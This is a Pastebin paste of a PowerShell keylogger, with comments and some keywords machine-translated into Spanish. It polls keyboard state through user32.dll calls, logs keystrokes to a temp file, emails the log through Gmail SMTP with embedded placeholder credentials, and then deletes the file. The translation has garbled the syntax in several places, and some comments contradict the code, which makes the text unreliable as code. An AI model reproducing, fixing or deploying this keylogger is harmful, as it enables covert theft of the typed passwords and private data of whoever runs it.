Advertisement
Guest User

Untitled

a guest
Sep 23rd, 2019
426
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.33 KB | None | 0 0
  1. # Editar solo esta sección!
  2. $ TimeToRun = 2
  3. $ De = "usuario@gmail.com"
  4. $ Pase = "xxxxxxx"
  5. $ Para = "Usuario2@gmail.com"
  6. $ Asunto = "Resultados del registrador de teclas"
  7. $ body = "Resultados del keylogger"
  8. $ SMTPServer = "smtp.gmail.com"
  9. $ SMTPPort = "587"
  10. $ credentials = new-object Management.Automation.PSCredential $ From, ($ Pass | ConvertTo-SecureString -AsPlainText -Force)
  11. ############################
  12.  
  13.  
  14. $ TimeStart = Get-Date
  15. $ TimeEnd = $ timeStart.addminutes ($ TimeToRun)
  16.  
  17. #requires -Version 2
  18. función Start-KeyLogger ($ Path = "$ env: temp \ keylogger.txt")
  19. {
  20. # Firmas para llamadas API
  21. $ firmas = @ '
  22. [DllImport ("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true)]
  23. público estático externo externo GetAsyncKeyState (int virtualKeyCode);
  24. [DllImport ("user32.dll", CharSet = CharSet.Auto)]
  25. public static extern int GetKeyboardState (byte [] keystate);
  26. [DllImport ("user32.dll", CharSet = CharSet.Auto)]
  27. public static extern int MapVirtualKey (uint uCode, int uMapType);
  28. [DllImport ("user32.dll", CharSet = CharSet.Auto)]
  29. public static extern int ToUnicode (uint wVirtKey, uint wScanCode, byte [] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
  30. '@
  31.  
  32. # cargar firmas y hacer que los miembros estén disponibles
  33. $ API = Add-Type -MemberDefinition $ signatures -Name 'Win32' -Namespace API -PassThru
  34.  
  35. # crear archivo de salida
  36. $ null = New-Item -Path $ Path -ItemType File -Force
  37.  
  38. tratar
  39. {
  40.  
  41. # crear bucle sin fin. Cuando el usuario presiona CTRL + C, finalmente bloquea
  42. # se ejecuta y muestra las pulsaciones de teclas recopiladas
  43. while ($ TimeEnd -ge $ TimeNow) {
  44. Inicio-Sueño-Milisegundos 40
  45.  
  46. # escanea todos los códigos ASCII superiores a 8
  47. para ($ ascii = 9; $ ascii -le 254; $ ascii ++) {
  48. # obtener el estado actual de la clave
  49. $ state = $ API :: GetAsyncKeyState ($ ascii)
  50.  
  51. # se presiona la tecla?
  52. if ($ estado -eq -32767) {
  53. $ null = [consola] :: CapsLock
  54.  
  55. # traducir el código de escaneo a código real
  56. $ virtualKey = $ API :: MapVirtualKey ($ ascii, 3)
  57.  
  58. # obtener el estado del teclado para teclas virtuales
  59. $ kbstate = Byte de nuevo objeto [] 256
  60. $ checkkbstate = $ API :: GetKeyboardState ($ kbstate)
  61.  
  62. # preparar un StringBuilder para recibir la clave de entrada
  63. $ mychar = New-Object -TypeName System.Text.StringBuilder
  64.  
  65. # traducir clave virtual
  66. $ success = $ API :: ToUnicode ($ ascii, $ virtualKey, $ kbstate, $ mychar, $ mychar.Capacity, 0)
  67.  
  68. si ($ éxito)
  69. {
  70. # agregar clave al archivo de registro
  71. [System.IO.File] :: AppendAllText ($ Path, $ mychar, [System.Text.Encoding] :: Unicode)
  72. }
  73. }
  74. }
  75. $ TimeNow = Get-Date
  76. }
  77. }
  78. finalmente
  79. {
  80. # abrir archivo de registro en el Bloc de notas
  81. send-mailmessage -from $ from -to $ to -subject $ Asunto -body $ body -Attachment $ Path -smtpServer $ smtpServer -port $ SMTPPort -credential $ credentials -usessl
  82. Remove-Item -Path $ Path -force
  83. salida 1
  84. }
  85. }
  86.  
  87. # registra todas las pulsaciones de teclas hasta que se cancela la secuencia de comandos presionando CTRL + C
  88. # luego abrirá el archivo con los códigos clave recopilados
  89. Start-KeyLogger
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement